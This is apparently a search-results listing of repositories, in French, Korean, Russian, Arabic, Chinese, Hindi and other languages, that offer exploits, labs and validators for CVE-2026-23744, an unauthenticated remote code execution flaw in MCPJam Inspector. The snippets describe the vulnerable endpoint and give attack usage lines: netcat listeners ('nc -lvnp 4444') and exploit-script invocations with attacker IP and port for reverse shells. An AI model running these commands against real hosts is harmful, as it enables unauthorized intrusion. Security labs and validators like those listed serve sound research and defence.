78 matches found
CVE-2026-23744-Remote-Code-Execution-POC
CVE-2026-23744 - MCPJam inspector Remote-Code-Execution : Preuve de concept POC MCPJam inspector 3. Exécutez l'exploit root@kitploit: python3 exploit.py...
CVE-2026-23744-Lab
CVE-2026-23744 – MCPJam Inspector Docker Lab Ce dépôt est un petit laboratoire Docker pour comparer une version vulnérable vs une version corrigée de MCPJam Inspector pour CVE-2026-23744. Il est destiné à l'apprentissage et à la constitution d'un portfolio de sécurité public : configuration rapid...
exploit-CVE-2026-23744
exploit-CVE-2026-23744 MCPJam Inspector는 MCP 서버를 위한 로컬 우선 개발 플랫폼입니다. 1.4.2및 이전 버전에서 RCE 결함으로 인해 공격자가 조작된 HTTP 요청을 보내 MCP 서버를 설치하고 원격으로 코드를 실행할 수 있습니다. 이는 서비스가 기본적으로 127.0.0.1 대신 0.0.0.0에서 수신 대기하기 때문입니다. 실행 방법: 1. 해당 포트와 IP를 설정합니다. 2. 공격자 머신에 리스너를 설정합니다예: "nc -lvnp 4444" 또는 임의의 공격자 포트. 3. --target...
mcpjaminspector-unauth-rce
mcpjaminspector-unauth-rce CVE-2026-23744 RCE dans MCPJam inspector = 1.4.2 Détails de la vulnérabilité https://github.com/MCPJam/inspector/security/advisories/GHSA-232v-j27c-5pp6 Utilisation root@kitploit: usage: mcpjaminspector-unauth-rce.py -h --target TARGET --command COMMAND options: -h,...
CVE-2026-23744-POC
Description Cette vulnérabilité existe car MCPJam Inspector expose des points de terminaison d'API internes destinés au débogage et au développement. Ces points de terminaison acceptent des entrées contrôlées par l'utilisateur et les transmettent directement à l'exécution de processus au niveau d...
CVE-2026-23744
CVE-2026-23744 – Preuve de concept Le script Python de cette PoC envoie une simple requête HTTP à l'hôte cible exécutant l'inspecteur MCPJam version remplacez par votre port d'écoute Ensuite, ouvrez un autre terminal et exécutez la PoC : root@kitploit: cd CVE-2026-23744 python3 exploit.py...
CVE-2025-49596-PoC
CVE-2026-23744-PoC PoC automatisé pour CVE-2026-23744 RCE sur l'inspecteur MCPJam avant la version 1.4.2 sur cibles Linux Comment utiliser root@kitploit: use netcat to run listener on any port like 9002. nc -nvlp 9002 use the automation like this python3 CVE-2025-49596.py https://mcpjam-server.co...
MCPJam-Inspector-1.4.2-Remote-Code-Execution-CVE-2026-23744
на kali linux - терминал 1 nc -lvnp 4444 на kali linux - терминал 2 python3 ./CVE-2026-23744.py -t http://TARGET.com -p 4444 -i YOUR-KALI-LINUX-IP...
MCPJam Inspector - Remote Code Execution
MCPJam inspector is the local-first development platform for MCP servers. The Latest version 1.4.2 and earlier are vulnerable to a remote code execution RCE vulnerability, which allows an attacker to send a crafted HTTP request that triggers the installation of an MCP server, leading to RCE. id:...
CVE-2026-23744
CVE-2026-23744 MCPJam inspector Remote-Code-Execution: использование Proof Of Concept POC: root@kitploit: python3 cve-2026-23744.py --target https:// --att-ip --att-p...
CVE-2026-23744
CVE-2026-23744 Exploit pour MCPJam Inspector Installez les bibliothèques avec : pip install -r requirements.txt - utilisez python CVE-2026-23744 --help pour plus d'informations MCPJam inspector est la plateforme de développement local-first pour les serveurs MCP. Les versions 1.4.2 et antérieures...
CVE-2026-23744
CVE-2026-23744 CVE-2026-23744 RCE En analysant cette vulnérabilité, j'ai découvert que MCPJam Inspector exposait le point de terminaison /api/mcp/connect sur le réseau en se liant à 0.0.0.0. Ce point de terminaison accepte un objet JSON contenant serverConfig, incluant les champs command et args...
CVE-2026-23744-PoC
الوصف مُفتش MCPJam هو منصة التطوير المحلية الأولى لخوادم MCP. الإصدارات 1.4.2 والإصدارات الأقدم تحتوي على ثغرة تنفيذ التعليمات البرمجية عن بُعد RCE، والتي تسمح للمهاجم بإرسال طلب HTTP مُعد خصيصًا يؤدي إلى تثبيت خادم MCP، مما يؤدي إلى RCE. نظرًا لأن مُفتش MCPJam يستمع افتراضيًا على 0.0.0.0 بدلاً م...
CVE-2026-23744-script
Un script pour CVE-2026-23744, qui exploite MCPJam Inspector versions = 1.4.2. Basé sur la commande curl utilisée ici : https://github.com/advisories/GHSA-232v-j27c-5pp6 Assurez-vous que votre fichier /etc/hosts est correct et pointe vers le domaine/vhost de la cible...
CVE-2026-23744
CVE-2026-23744: Preuve de concept d'exécution de code à distance non authentifiée AVERTISSEMENT : Ce dépôt et les scripts associés sont destinés uniquement aux évaluations de sécurité autorisées, aux tests d'intrusion, à la recherche en sécurité et à l'analyse éducative. Tester des systèmes sans...
cve-2026-23744
CVE-2026-23744 – Ejecución Remota de Código RCE sin Autenticación en MCPJam Inspector Descripción Producto : MCPJam Inspector Versiones afectadas : ≤ 1.4.2 Versión corregida : 1.4.3 Tipo : Ejecución Remota de Código RCE sin autenticación Vector de ataque : Red Autenticación requerida : No...
CVE-2026-23744
CVE-2026-23744 描述 MCPJam inspector 是一个面向 MCP 服务器的本地优先开发平台。版本 =1.4.2 存在远程代码执行漏洞，攻击者可发送特制的 HTTP 请求触发 MCP 服务器的安装，从而导致 RCE。有关漏洞详情，请参阅参考资料。 用法 需求 root@kitploit: $ pip install requests 概念验证用法 root@kitploit: $ python3 exploit.py -h --lhost LHOST --lport LPORT --rhost RHOST --rport RPORT 选项 root@kitploit...
CVE-2026-23744-MCPJam-Exploit
CVE-2026-23744 MCPJam Inspector RCE एक्सप्लॉइट ⚠️ अस्वीकरण यह उपकरण केवल अधिकृत सुरक्षा परीक्षण और शैक्षिक उद्देश्यों के लिए है। अनधिकृत उपयोग अवैध है। उपयोगकर्ता अपने कार्यों की पूरी जिम्मेदारी लेते हैं। 📋 अवलोकन इस रिपॉजिटरी में CVE-2026-23744 के लिए एक प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट है, जो MCPJa...
mcpjam-cve-2026-23744-validator
MCPJam Inspector अधिकृत सुरक्षा सत्यापक CVE-2026-23744 के लिए एक सीमित प्रूफ-ऑफ-कॉन्सेप्ट सत्यापक जो कमजोर MCPJam Inspector तैनातियों को प्रभावित करता है। यह प्रोजेक्ट पहले से प्रकट किए गए CVE-2026-23744 के लिए एक स्वतंत्र, गैर-विनाशकारी सत्यापन उपकरण है। यह मूल भेद्यता प्रकटीकरण या शोषण नहीं है।...